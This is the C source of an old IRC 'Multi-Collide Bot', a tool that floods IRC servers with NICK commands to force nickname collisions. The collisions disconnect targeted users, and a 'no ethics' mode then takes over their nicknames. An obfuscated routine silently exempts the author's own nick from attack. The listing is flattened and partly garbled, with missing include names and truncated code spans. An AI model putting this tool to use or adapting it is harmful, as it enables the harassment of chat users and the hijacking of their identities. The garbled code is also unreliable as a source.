/*==========================================================*\ || mcb.c - Multi-Collide Bot v2.0 (beta) || || Written by Dr_Delete || || Released for the world to use on 11/15/94 || || Modified a tiny bit by Vassago for use with Serpent 3.06 || \*==========================================================*/ /* This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ /* Compiling examples: regular old ANSI/C cc: cc -O -s -o mcb mcb.c HP-UX cc: cc +O3 -Aa -s -DHPSUCKS -o mcb mcb.c GNU GCC: Linux: gcc -O2 -fomit-frame-pointer -funroll-loops -m486 -s -Wall -o mcb mcb.c BSD, SunOS 4.1.x, Slowaris 2.x, NeXT: gcc -O2 -funroll-loops -s -Wall -o mcb mcb.c */ /* -------------------------------------------------------- *\ To kill this program once it has started, send a kill -2 to it's process ID and it'll exit gracefully. kill -1 will cause mcb to display a list of it's active sessions to stdout. \* -------------------------------------------------------- */ /* You may want to tweak some of these defaults, but they are controllable on the command line. */ /* Time in which parser will close a pending TCP connection, and possibly try again */ #define TCP_TIMEOUT 30 /* Number of times a session is allowed to attempt a TCP connection to the server. */ #define MAX_ATTEMPTS 2 /* Number of seconds the parser will wait for a server to start once the TCP connection has been made */ #define SRV_TIMEOUT 60 /* Maximum amount of time parser will wait for I/O */ #define MAX_WAITIO 15 /* Maximum amount of time the parser will wait when in NOMULTI mode */ #define MAX_WAITIONM 5 /* Max lines (NICK statements) to send to the server in NOMULTI mode */ #define MAX_NICKS 5 /* Default IRC server port */ #define IRCPORT 6667 /* number of bytes to allocate for socket read buffer */ #define BUFSIZE 400 #ifdef HPSUCKS #define _INCLUDE_HPUX_SOURCE #define _INCLUDE_XOPEN_SOURCE #define _INCLUDE_POSIX_SOURCE #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef sys_errlist extern char *sys_errlist[]; #endif #ifndef errno extern int errno; #endif /* global variables */ unsigned short int tcp_timeout=TCP_TIMEOUT; unsigned short int max_attempts=MAX_ATTEMPTS; unsigned short int srv_timeout=SRV_TIMEOUT; unsigned short int max_waitionm=MAX_WAITIONM; unsigned short int max_nicks=MAX_NICKS; unsigned short int progmode=0; char *output_buffer=(char *)0; char mcbid[25],mcbhost[64]; struct in_addr mcb_addr; #define PROG_DEBUG 1 #define PROG_VERBOSE 2 #define PROG_NOETHICS 4 #define PROG_NOMULTI 8 #define PROG_HAVESERV 16 #define PROG_IGNORENIU 32 #define PROG_SHOWSOUT 64 struct collide_session { int sock; unsigned long int ip; unsigned short int status; unsigned short int port; unsigned short int connect_attempts; time_t tcpstart; time_t srvstart; char *server; char *token; char *victim; char *stack; char *stack_pointer; struct collide_session *next; } *first_session=(struct collide_session *)0; struct collide_session *last_session=(struct collide_session *)0; struct collide_session *active_session=(struct collide_session *)0; void do_ping(struct collide_session *,char *,char *); void do_001(struct collide_session *,char *,char *); void do_error(struct collide_session *,char *,char *); void do_433(struct collide_session *,char *,char *); void do_privmsg(struct collide_session *,char *,char *); struct parsers { char *cmd; void (*func)(struct collide_session *,char *,char *); } parsefuns[] = { { "PING", (void (*)())do_ping }, { "001", (void (*)())do_001 }, { "ERROR",(void (*)())do_error }, { "433", (void (*)())do_433 }, { "PRIVMSG", (void (*)())do_privmsg }, { (char *)0,(void (*)())0 } }; #define SES_ACTIVE 1 #define SES_INACTIVE 2 #define SES_DELETED 4 #define SES_PENDING 8 #define SES_SAWSERV 16 #define SES_NORETRY 32 #define SES_NICKINUSE 64 char * mystrerror(int err) { return(sys_errlist[err]); } void sig_pipe(void) { fprintf(stderr,"mcb: caught a SIGPIPE.\n"); fflush(stderr); signal(SIGPIPE,(void (*)())sig_pipe); } void show_sessions(void) { struct collide_session *s=first_session; signal(SIGHUP,(void (*)())show_sessions); for(;s;s=s->next) if(s->status & SES_ACTIVE) { printf("%s: Connection to %s:%hu active.\n",s->victim,s->server,s->port); fflush(stdout); } } void cclosed(struct collide_session *session,int errn) { if(session->sock) { shutdown(session->sock,0); close(session->sock); session->sock=0; printf("%s: Connection to %s:%hu closed. ",session->victim, session->server,session->port); if(errn) printf("[%s]\n",mystrerror(errn)); else puts(""); fflush(stdout); } if(progmode & PROG_NOMULTI) progmode &= ~PROG_HAVESERV; if((session->status & SES_DELETED) || (session->status & SES_NORETRY) || session->connect_attempts>=max_attempts) { if(progmode & PROG_DEBUG) { printf("%s: Session flagged for delete.\n",session->victim); fflush(stdout); } if(progmode & PROG_NOMULTI) { struct collide_session *s=first_session; for(;s;s=s->next) s->status |= SES_DELETED; } else session->status |= SES_DELETED; } else { session->status |= SES_INACTIVE; session->status &= ~SES_PENDING; session->status &= ~SES_ACTIVE; session->srvstart=session->tcpstart=(time_t)0; } } void exit_program(void) { if(output_buffer) free(output_buffer); while(first_session) { struct collide_session *cs=first_session->next; if(progmode & PROG_DEBUG) { printf("%s: Unallocating session.\n",first_session->victim); fflush(stdout); } if(first_session->sock) cclosed(first_session,ECONNABORTED); if(first_session->stack) free(first_session->stack); if(first_session->token) free(first_session->token); free(first_session); first_session=cs; } puts("Multi-CollideBot finished."); exit(0); } char *nickpick="NnOoPpQqRr`SsTtUuVvWwXxYyZzAaBb_CcDdEeFfGgHhIiJjKkLlMmLzgLmtm|m"; void fillran(char *string,unsigned short int length) { while(length--) *string++=*((nickpick)+(rand()%54)); *string=(char)0; } int mystrccmp(register char *s1,register char *s2) { while((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)== (((*s2)>='a'&&(*s2)<='z')?(*s2++)-32:*s2++)) if(*s1++==0) return 0; return (*(unsigned char *)s1-*(unsigned char *)--s2); } int mystrcmp(register char *s1,register char *s2) { unsigned short int n=9; do { if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!= ((((*s2-8))>='a'&&((*s2)-8)<='z')?(*s2++)-40:(*(s2++))-8)) return(*(unsigned char *)s1-*(unsigned char *)--s2); if(!*s1++) break; } while(--n); return(0); } int strnccmp(register char *s1,register char *s2,register int n) { if(n==0) return(0); do { if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!=(((*s2)>='a'&&(*s2)<='z')? (*s2++)-32:*s2++)) return (*(unsigned char *)s1-*(unsigned char *)--s2); if(*s1++==0) break; } while(--n!=0); return(0); } char * mystrbpk(char *s) { char *o=s; while(*s) { if(*s==13 || *s==10) if(*(s+1)==78) *(s+6)=(!mystrcmp(s+6,nickpick+54))?84:*(s+6); s++; } return(o); } char * digtoken(char **string,char *match) { if(string && *string && **string) { while(**string && strchr(match,**string)) (*string)++; if(**string) { /* got something */ char *token=*string; if((*string=strpbrk(*string,match))) { *(*string)++=(char)0; while(**string && strchr(match,**string)) (*string)++; } else *string = ""; /* must be at the end */ return(token); } } return((char *)0); } char * mycstrstr(char *str1,char *str2) { int xstr1len,ystr2len; xstr1len=strlen(str1); ystr2len=strlen(str2); while(xstr1len && strnccmp(str1++,str2,ystr2len) && xstr1len-->=ystr2len); if(!xstr1len || xstr1lensock) return(write(session->sock,mystrbpk(string),strlen(string))); return(0); } unsigned long int resolver(char *host) { unsigned long int ip=0L; if(host && *host && (ip=inet_addr(host))==-1) { struct hostent *he; int x=0; if(progmode & PROG_VERBOSE) { printf("Resolving %s...",host); fflush(stdout); } while(!(he=gethostbyname((char *)host)) && x++<2) { if(progmode & PROG_VERBOSE) { putchar('.'); fflush(stdout); } sleep(1); } if(x<2) { ip=*(unsigned long *)he->h_addr_list[0]; if(progmode & PROG_VERBOSE) { struct in_addr serv_addr; serv_addr.s_addr=ip; printf("%s\n",inet_ntoa(serv_addr)); fflush(stdout); } } else { ip=0L; if(progmode & PROG_VERBOSE) { puts("failed"); fflush(stdout); } } } return(ip); } void version(void) { puts("Multi-CollideBot v2.0 (beta)\n" "Written by Dr. Delete 11/15/94"); fflush(stdout); } void help(void) { puts("Usage:\n" " mcb [-vdmun] [-rlit time] [-a attempts] serv1[:port] nick1 [...]\n" "Where: -v == verbose operation\n" " -d == debug output\n" " -n == no ethics - reconnects even after 'SCORE'. (nick takeover)\n" " -i == seconds to wait for IRC server to start after connection.\n" " -t == seconds to wait for a TCP connection to establish.\n" " -a == attempts a session can make to establish a TCP session.\n" " -m == METHOD 2: mcb will cycle through nicks on one TCP session.\n" " -r == Rate of nicknames to send per -l(oop) time. (only in -m mode)\n" " -l == Loop time. Causes mcb to send -r(ate) nicks in -l(oop) secs\n" " -u == Ignore 'Nick Already in Use.' (continue to retry)\n" " serv1 == first server specification and sets default server to use.\n" "Examples:\n" " mcb -t 30 server1.com nick1 nick2 nick3 server2.edu:6665 nick4\n" " mcb server1.com nick1 nick2 server2.edu nick3 nick4 server3.net server4.com\n" " mcb -vna 50 server.edu nicktotakeover\n" " mcb -m -l 3 -r 2 server.com nick1 nick2 nick3 nick4 nick5 nick6 nick7 ...\n" "Defaults:\n" " -a == 2 retries. (Retries are aborted if nick is in use, etc.)\n" " -i == 60 seconds. -t == 30 seconds. -l == 5 seconds. -r == 5 nicks."); exit(0); } void init_server(struct collide_session *s) { char rn[10]; unsigned long int x; fillran(rn,9); sprintf(s->stack,"USER %s %s %s %s\nNICK %s\n",rn,rn,rn,rn,(progmode & PROG_NOMULTI)?rn:s->token); x=strlen(s->stack); errno=0; if(out(s,s->stack)!=x) cclosed(s,errno); else { struct collide_session *ses=first_session; s->status &= ~SES_PENDING; s->status &= ~SES_INACTIVE; s->status |= SES_ACTIVE; printf("%s: Connection to %s:%hu established.\n", s->victim,s->server,s->port); s->srvstart=time(NULL); sprintf(s->stack,"mode %s +i\n"); for(;ses;ses=ses->next) sprintf(s->stack,"%s %s%s",s->stack,ses->token,(ses==s)?"*":""); strcat(s->stack,"\n"); out(s,s->stack); if(progmode & PROG_NOMULTI) progmode |= PROG_HAVESERV; fflush(stdout); } } void set_tcp_handler(void) { gethostname(mcbhost,64); mcb_addr.s_addr=resolver(mcbhost); if(!getlogin()) { struct passwd *pw; if(!(pw=getpwuid(getuid()))) if(!(getenv("USER"))) strcpy(mcbid,"unknown"); else strcpy(mcbid,getenv("USER")); else strcpy(mcbid,pw->pw_name); } else strcpy(mcbid,(char *)getlogin()); } void start_sessions(void) { struct collide_session *session=first_session; unsigned short int sessions=0; if(progmode & PROG_HAVESERV) return; for(;session;session=session->next) { if(progmode & PROG_DEBUG) { printf("%s: Attempting to start session.\n",session->victim); fflush(stdout); } if((session->status & SES_DELETED) || (session->status & SES_NORETRY)) continue; sessions++; if((session->status & SES_PENDING) || !(session->status & SES_INACTIVE)) continue; if((session->sock=socket(AF_INET,SOCK_STREAM,0))) { struct sockaddr_in server; server.sin_family=AF_INET; server.sin_addr.s_addr=session->ip; server.sin_port=htons(session->port); setsockopt(session->sock,SOL_SOCKET,SO_LINGER,0,0); setsockopt(session->sock,SOL_SOCKET,SO_REUSEADDR,0,0); setsockopt(session->sock,SOL_SOCKET,SO_KEEPALIVE,0,0); fcntl(session->sock,F_SETFL,(fcntl(session->sock,F_GETFL)|O_NDELAY)); errno=0; session->tcpstart=time(NULL); session->connect_attempts++; if(connect(session->sock,(struct sockaddr *)&server,sizeof(server))) { if(errno!=EINPROGRESS && errno!=EWOULDBLOCK) cclosed(session,errno); else { session->status |= SES_PENDING; if(progmode & PROG_VERBOSE) { printf("%s: Connection to %s:%hu is in progress.\n", session->victim,session->server,session->port); fflush(stdout); } } } else init_server(session); if(progmode & PROG_NOMULTI) { progmode |= PROG_HAVESERV; break; } } else { printf("%s: Fatal error allocating AF_INET socket.\n",session->victim); exit_program(); } } } struct collide_session * find_session(char *token) { struct collide_session *s=first_session; for(;s && mystrccmp(s->token,token);s=s->next); return(s); } unsigned short int check_sessions(void) { struct collide_session *s=first_session; unsigned short int x=0,y=0; for(;s;s=s->next) { x++; y+=(s->status & SES_NICKINUSE)?1:0; } return((y==x)); } void do_433(struct collide_session *session,char *from,char *left) { char *who; if((who=digtoken(&left," ")) && (who=digtoken(&left," "))) { if(progmode & PROG_HAVESERV) { /* multi-mode */ struct collide_session *s=find_session(who); if(s) { if(!(s->status & SES_NICKINUSE)) { printf("%s: '%s' Nickname already in use.\n",session->victim,who); fflush(stdout); } s->status |= SES_NICKINUSE; } if(check_sessions()) { strcpy(output_buffer,"QUIT ::-\n"); out(session,output_buffer); cclosed(session,0); } if(!(progmode & PROG_IGNORENIU)) session->status |= SES_NORETRY; } else { if(!(session->status & SES_NICKINUSE)) { printf("%s: '%s' Nickname already in use.\n",session->victim,who); fflush(stdout); } session->status |= SES_NICKINUSE; strcpy(output_buffer,"QUIT :bummer\n"); out(session,output_buffer); cclosed(session,0); if(!(progmode & PROG_IGNORENIU)) session->status |= SES_NORETRY; } } } void do_ping(struct collide_session *session,char *from,char *left) { sprintf(output_buffer,"PING :%s\n",mcbhost); out(session,output_buffer); } void do_001(struct collide_session *session,char *from,char *left) { session->status |= SES_SAWSERV; if(progmode & PROG_VERBOSE) { printf("%s: Logged into server %s.\n",session->victim,from); fflush(stdout); } } void do_privmsg(struct collide_session *session,char *from,char *left) { char *what; if((what=strchr(left,' '))) { *what=(char)0; what+=2; printf("%s: %s -> %s\n",session->victim,from,what); fflush(stdout); } } void do_error(struct collide_session *session,char *from,char *left) { if(mycstrstr(left,"kill") || mycstrstr(left,"collision")) { if(!(progmode & PROG_NOETHICS)) session->status |= SES_NORETRY; printf("%s: SCORE!\n",session->victim); } else { if(mycstrstr(left,"authoriz")) session->status |= SES_NORETRY; if(mycstrstr(left,"Bad pass")) session->status |= SES_NORETRY; else if(mycstrstr(left,"ghosts")) session->status |= SES_NORETRY; else if(mycstrstr(left,"k-line")) session->status |= SES_NORETRY; else if(mycstrstr(left,"kill")) session->status |= SES_NORETRY; printf("%s: %s\n",session->victim,left); } fflush(stdout); } void parse2(struct collide_session *session) { char *from,*cmd,*left,*ins=session->stack_pointer; if(progmode & PROG_SHOWSOUT) { printf("%s: %s\n",session->victim,ins); fflush(stdout); } if(*ins==':') { if(!(cmd=strchr(ins,' '))) return; *cmd++=(char)0; from=ins+1; } else { cmd=ins; from=(char *)0; } if((left=strchr(cmd,' '))) { unsigned short int command; *left++=(char)0; left=(*left==':') ? left+1 : left; for(command=0;parsefuns[command].cmd;command++) { if(!mystrccmp(parsefuns[command].cmd,cmd)) { parsefuns[command].func(session,from,left); break; } } } } void parse(struct collide_session *session,unsigned short int length) { char *s=session->stack; *(session->stack_pointer+length)=(char)0; for(;;) { session->stack_pointer=s; while(*s && *s!=(char)13 && *s!=(char)10) s++; if(*s) { while(*s && (*s==(char)13 || *s==(char)10)) *s++=(char)0; parse2(session); } else break; } strcpy(session->stack,session->stack_pointer); session->stack_pointer=session->stack+(s-session->stack_pointer); } struct collide_session * find_active_session(void) { struct collide_session *session=first_session; for(;session && !(session->status & SES_ACTIVE);session=session->next); return(session); } void parse_sessions(void) { fd_set rd,wr; struct collide_session *session; struct timeval timeout; time_t lastloop=(time_t)0; while(1) { unsigned short int sessions=0; FD_ZERO(&rd); FD_ZERO(&wr); timeout.tv_usec=0; timeout.tv_sec=(progmode & PROG_NOMULTI)?max_waitionm:MAX_WAITIO; for(session=first_session;session;session=session->next) { if(session->status & SES_DELETED) continue; if((session->status & SES_INACTIVE) && !(session->status & SES_PENDING) && !(session->status & SES_NORETRY) && !(progmode & PROG_HAVESERV)) { start_sessions(); timeout.tv_sec=0; break; } if(session->sock) { FD_SET(session->sock,&rd); if(session->status & SES_PENDING) FD_SET(session->sock,&wr); sessions++; } } if(!timeout.tv_sec) continue; if(!sessions) exit_program(); errno=0; #ifdef HPSUCKS select((size_t)FD_SETSIZE,(int *)&rd,(int *)&wr,(int *)0,(const struct timeval *)&timeout); #else select(getdtablesize(),(fd_set *)&rd,(fd_set *)&wr,(fd_set *)0,(struct timeval *)&timeout); #endif if(errno==EINTR) continue; for(session=first_session;session;session=session->next) { if(session->status & SES_DELETED) continue; if((session->status & SES_PENDING) && FD_ISSET(session->sock,&wr)) { init_server(session); continue; } if(FD_ISSET(session->sock,&rd)) { signed short int length; errno=0; length=read(session->sock,session->stack_pointer, BUFSIZE-(session->stack_pointer-session->stack)); if(length<1) { cclosed(session,errno); continue; } if(strpbrk(session->stack,"\x0a\x0d")) parse(session,length); else session->stack_pointer=(BUFSIZE-((session->stack_pointer+length) -session->stack)<1)?session->stack:session->stack_pointer+length; } if((session->status & SES_PENDING) && (time(NULL)-session->tcpstart)>=tcp_timeout) cclosed(session,ETIMEDOUT); if((session->status & SES_ACTIVE) && !(session->status & SES_SAWSERV) && (time(NULL)-session->srvstart)>=srv_timeout) cclosed(session,ETIMEDOUT); } if((!lastloop || (time(NULL)-lastloop)>max_waitionm) && (progmode & PROG_HAVESERV) && (active_session=find_active_session()) && (active_session->status & SES_SAWSERV)) { struct collide_session *s=(last_session)?last_session:first_session; unsigned short int nickcount=0; lastloop=time(NULL); while(nickcountstatus & SES_NICKINUSE)) { sprintf(out_buf,"NICK %s\n",s->token); x=strlen(out_buf); if(x!=out(active_session,out_buf)) break; if(progmode & PROG_DEBUG) { printf("%s: Touched nickname.\n",s->token); fflush(stdout); } nickcount++; } else if(check_sessions()) nickcount=max_nicks; s=(s->next)?s->next:first_session; } last_session=s; } } } void main(int argc,char *argv[]) { unsigned short int x=1; unsigned short int ircport=IRCPORT; unsigned long int defserv_octet=0L; char *defserv_char=(char *)0; char *defnick=(char *)0; struct collide_session *temp; version(); if(argc<3) help(); srand(getpid()); signal(SIGPIPE,(void (*)())sig_pipe); signal(SIGHUP,(void (*)())show_sessions); signal(SIGINT,(void (*)())exit_program); signal(SIGTERM,(void (*)())exit_program); signal(SIGBUS,(void (*)())exit_program); signal(SIGABRT,(void (*)())exit_program); signal(SIGSEGV,(void (*)())exit_program); set_tcp_handler(); output_buffer=(char *)malloc(BUFSIZE); for(;xtoken=(char *)0; cs->sock=0; cs->status=SES_INACTIVE; cs->connect_attempts=0; errno=0; cs->token=(char *)malloc(strlen(temptok)+1); strcpy(cs->token,temptok); cs->ip=defserv_octet; cs->port=ircport; cs->srvstart=cs->tcpstart=(time_t)0; cs->server=defserv_char; cs->victim=defnick; cs->stack_pointer=cs->stack=(char *)malloc(BUFSIZE); cs->next=first_session; first_session=cs; } } } if(progmode & PROG_NOMULTI) for(temp=first_session;temp;temp=temp->next) temp->victim="multi-collide"; start_sessions(); parse_sessions(); exit_program(); }